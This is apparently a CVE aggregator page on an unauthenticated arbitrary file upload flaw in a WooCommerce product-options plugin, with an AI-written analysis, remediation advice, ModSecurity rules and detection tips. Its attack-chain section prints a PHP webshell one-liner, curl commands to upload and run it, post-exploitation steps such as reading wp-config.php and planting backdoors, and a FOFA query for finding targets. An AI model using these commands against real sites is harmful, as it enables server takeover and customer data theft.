CVE Professor
/
All CVEs
CVE-2026-136988

CVE-2026-136988 — ThemeComplete Extra Product Options & Add-Ons Fo — CWE-434

HIGH CVSS 8.1 CVE.org

The Extra Product Options & Add-Ons for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 7.6.2 via the `upload_file()` function called through the `wc_bookings_calculate_costs` AJAX action. This is due to the plugin's extension and MIME allow-list check existing exclusively inside the `woocommerce_add_to_cart_validation()` callback, which is never triggered when EPO's `adjust_booking_cost()` method calls `tm_add_cart_item_data()` directly — a path that reaches `wp_handle_upload()` with `test_type=false` and `ALLOW_UNFILTERED_UPLOADS` defined as `true`, fully bypassing WordPress core's filetype checks. This makes it possible for unauthenticated attackers to upload files of any extension, including `.php`, to the `wp-content/uploads/extra_product_options/` directory, potentially enabling remote code execution on the server. Exploitation requires WooCommerce Bookings or Easy Booking to be active and at least one bookable product to be configured with an EPO file-upload element.

The Extra Product Options & Add-Ons for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 7.6.2 via the `upload_file()` function called through the `wc_bookings_calculate_costs` AJAX action. This is due to the plugin's extension and MIME allow-list check existing exclusively inside the `woocommerce_add_to_cart_validation()` callback, which is never triggered when EPO's `adjust_booking_cost()` method calls `tm_add_cart_item_data()` directly — a path that reaches `wp_handle_upload()` with `test_type=false` and `ALLOW_UNFILTERED_UPLOADS` defined as `true`, fully bypassing WordPress core's filetype checks. This makes it possible for unauthenticated attackers to upload files of any extension, including `.php`, to the `wp-content/uploads/extra_product_options/` directory, potentially enabling remote code execution on the server. Exploitation requires WooCommerce Bookings or Easy Booking to be active and at least one bookable product to be configured with an EPO file-upload element.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Critical Arbitrary File Upload (CWE-434) leading to Remote Code Execution (RCE) in the Extra Product Options & Add-Ons for WooCommerce plugin.

The Technical Flaw:
The vulnerability stems from a logic bypass in the file upload validation mechanism. The plugin implements its own security checks (extension and MIME type allow-lists) exclusively within the woocommerce_add_to_cart_validation() callback. However, the plugin's adjust_booking_cost() method calls tm_add_cart_item_data() directly, bypassing the standard WooCommerce cart validation hook.

This direct call path triggers the upload_file() function, which eventually invokes WordPress core's wp_handle_upload(). Crucially, this invocation occurs with:
1. test_type=false: Disabling WordPress's internal MIME type sniffing.
2. ALLOW_UNFILTERED_UPLOADS defined as true: This is a critical misconfiguration or intentional override within the plugin's context that disables WordPress core's final safety net against executable file uploads.

Because the plugin's custom validation logic is skipped in this specific code path, an unauthenticated attacker can upload files with arbitrary extensions (e.g., .php) to the wp-content/uploads/extra_product_options/ directory. Since this directory is typically web-accessible, the uploaded PHP file can be executed directly by the web server.

CVSS Analysis (8.1 HIGH):

  • AV:N / AC:H: Network vector with High complexity. The complexity is high because it requires specific preconditions: WooCommerce Bookings or Easy Booking must be active, and a bookable product must be configured with an EPO file-upload element.

  • PR:N / UI:N: No privileges or user interaction required.

  • C:H / I:H / A:H: Full compromise of Confidentiality, Integrity, and Availability due to RCE.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Plugin Identification: Use tools like wpscan or whatweb to identify the presence of the extra-product-options plugin.
  • wpscan --url https://target.com --plugin-detection --enumerate p
  • Version Check: Confirm the version is <= 7.6.2.
  • Precondition Verification:
  • * Check if WooCommerce Bookings or Easy Booking is installed (via plugin directory listing or API endpoints if exposed). * Identify a bookable product that has an "Extra Product Options" file upload field. This may require browsing the site or inspecting product pages for forms with file inputs.

    2. Exploitation

    The attacker sends a malicious PHP file via the wc_bookings_calculate_costs AJAX action. This action is typically accessible without authentication if the product is public.

    Illustrative PoC (curl):
    Note: The exact parameter names for the file upload field depend on the specific EPO configuration. The following is a realistic representation of the attack vector.

    # 1. Create a malicious PHP webshell
    echo '<?php system($_GET["cmd"]); ?>' > shell.php
    
    # 2. Send the file via the vulnerable AJAX action
    # The action 'wc_bookings_calculate_costs' is triggered by the EPO plugin's cost calculation logic
    # The file is attached to the request, likely under a parameter name like 'epo_file_upload' or similar
    # The 'test_type=false' and 'ALLOW_UNFILTERED_UPLOADS=true' context is handled internally by the plugin code path
    
    curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
      -H "Content-Type: multipart/form-data" \
      -H "X-Requested-With: XMLHttpRequest" \
      -F "action=wc_bookings_calculate_costs" \
      -F "product_id=123" \
      -F "[email protected]" \
      -F "epo_file_name=shell.php" \
      -F "epo_file_mime=application/octet-stream"

    Key Technical Detail:
    The request does not require a valid nonce for the wc_bookings_calculate_costs action if the action is not protected by check_ajax_referer or if the nonce is predictable/missing in this specific unauthenticated context. The vulnerability description states it is exploitable by unauthenticated attackers, implying the AJAX endpoint is accessible without a logged-in session or valid nonce for this specific action.

    3. Post-Exploitation

    1. Locate the Uploaded File: The file is saved to wp-content/uploads/extra_product_options/. The filename may be randomized or based on the original name. * Example URL: https://target.com/wp-content/uploads/extra_product_options/shell.php 2. Execute Commands:
    curl "https://target.com/wp-content/uploads/extra_product_options/shell.php?cmd=id"

    3. Privilege Escalation & Persistence:
    * Use the RCE to read wp-config.php and extract database credentials.
    * Create a new WordPress admin user via the database or by modifying wp_users and wp_usermeta.
    * Install a persistent backdoor (e.g., a malicious plugin or theme).
    * Exfiltrate sensitive data (customer PII, payment information) from the database.

    🌍 Real World Impact

  • Confidentiality (High): Full access to the WordPress database, including customer data, order history, and potentially payment information if not tokenized. Access to server files and environment variables.
  • Integrity (High): Ability to modify any file on the server, including WordPress core files, plugins, and themes. Can inject malicious code into legitimate pages.
  • Availability (High): Ability to delete files, drop databases, or consume server resources (DDoS from within).
  • Practical Consequences:

  • Data Breach: Exposure of customer PII and financial data, leading to regulatory fines (GDPR, CCPA) and reputational damage.

  • Site Compromise: The website can be used for phishing, malware distribution, or crypto-mining.

  • Server Compromise: If the web server user has elevated privileges, the attacker may gain access to the underlying operating system.
  • 🛡️ Remediation & Mitigation

    1. Upgrade (Primary Fix)

  • Affected Versions: All versions up to and including 7.6.2.
  • Action: Update the Extra Product Options & Add-Ons for WooCommerce* plugin to the latest version (presumably 7.6.3 or later, where the validation logic is corrected to apply to all code paths, including adjust_booking_cost()). Note: Verify the exact fixed version from the vendor's changelog.*

    2. Workarounds (If Immediate Update is Not Possible)

  • Disable the Plugin: If the plugin is not critical, deactivate it immediately.
  • Remove File Upload Elements: If the plugin must remain active, remove all file upload fields from all products, especially bookable products.
  • Web Application Firewall (WAF) Rule:
  • * Block requests to admin-ajax.php with action=wc_bookings_calculate_costs if the user is not authenticated (if business logic allows). * Block file uploads with .php, .phtml, .phar, etc., to the wp-content/uploads/ directory.

    ModSecurity Rule Example (Illustrative):

    # Block PHP file uploads to the uploads directory
        SecRule REQUEST_FILENAME "@rx /wp-content/uploads/" \
          "id:100001,phase:2,deny,status:403,msg:'PHP upload to uploads dir blocked'"
    
        # Block specific AJAX action if unauthenticated (adjust based on business needs)
        SecRule REMOTE_USER "!@streq admin" \
          "id:100002,phase:2,deny,status:403,msg:'Unauthenticated access to wc_bookings_calculate_costs'"

    Note: The above rules are illustrative. Fine-tuning is required to avoid false positives.

  • Filesystem Permissions:
  • * Ensure the wp-content/uploads/ directory is not executable by the web server user. This can be done by setting the ExecCGI and ExecPHP directives to Off in Apache, or by using a separate web server user for static files. Caveat*: This may break other legitimate functionality if the site relies on PHP execution from the uploads directory (which is a bad practice anyway).

    3. Detection & IoCs

  • Web Server Logs:
  • * Look for POST requests to /wp-admin/admin-ajax.php with action=wc_bookings_calculate_costs from unauthenticated users. * Look for file creation events in the wp-content/uploads/extra_product_options/ directory.
  • File System Monitoring:
  • * Monitor for new .php files in wp-content/uploads/. * Use tools like auditd (Linux) or Sysmon (Windows) to detect file creation in sensitive directories.
  • Database Logs:
  • * Monitor for unusual queries or new user creations.
  • Network Traffic:
  • * Look for outbound connections from the web server to unknown IPs (potential C2 communication).

    ⚠️ Urgency

  • CVSS Score: 8.1 (HIGH)
  • CISA KEV: No (Not currently listed, but high risk)
  • Exploit Complexity: High (Requires specific plugin configuration)
  • Authentication: None
  • Impact: Critical (RCE)
Patching Priority: CRITICAL

Despite the high complexity, the impact is severe (RCE), and the attack vector is network-based with no authentication required. Any site with the vulnerable plugin version and the specific configuration (Bookings + EPO file upload) is at immediate risk.

Immediate Actions:
1. Update the plugin to the latest version.
2. If update is not possible, deactivate the plugin or remove file upload fields from bookable products.
3. Audit the server for any existing webshells in wp-content/uploads/extra_product_options/.
4. Rotate all credentials (database, admin users, API keys) if compromise is suspected.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="WordPress" && body="woocommerce"
CVSS Score
8.1 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (1)
ThemeComplete:Extra Product Options & Add-Ons for WooCommerce (7.6.2)
References & Advisories (2)
Related CVEs
9.9
CVE-2026-77526
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3
9.0
CVE-2026-136364
Joomla Extension - joomboost.com - Unrestricted file upload in JoomMedia extension 1.0.0-6.1.5 - The upload fu
7.3
CVE-2026-144885
A vulnerability was identified in SourceCodester Secured E-Voting System 1.0. The impacted element is an unkno
9.8
CVE-2026-143966
Nik Voice Ticketing AI before 1.2.5 contains an unrestricted file upload vulnerability that allows unauthentic
7.8
CVE-2026-129270
IBM Db2 for Linux, UNIX and Windows (including Db2 Connect Server) 11.5.0 through 11.5.9, and 12.1.0 through
7.3
CVE-2026-142476
A vulnerability has been found in Webkul Bagisto up to 2.4.10. The impacted element is the function prepareFor
7.3
CVE-2026-142526
A flaw has been found in livealvi Car-Rental-Service-Php-Project up to 4748996172b6546e5e6922b40c64538dff04255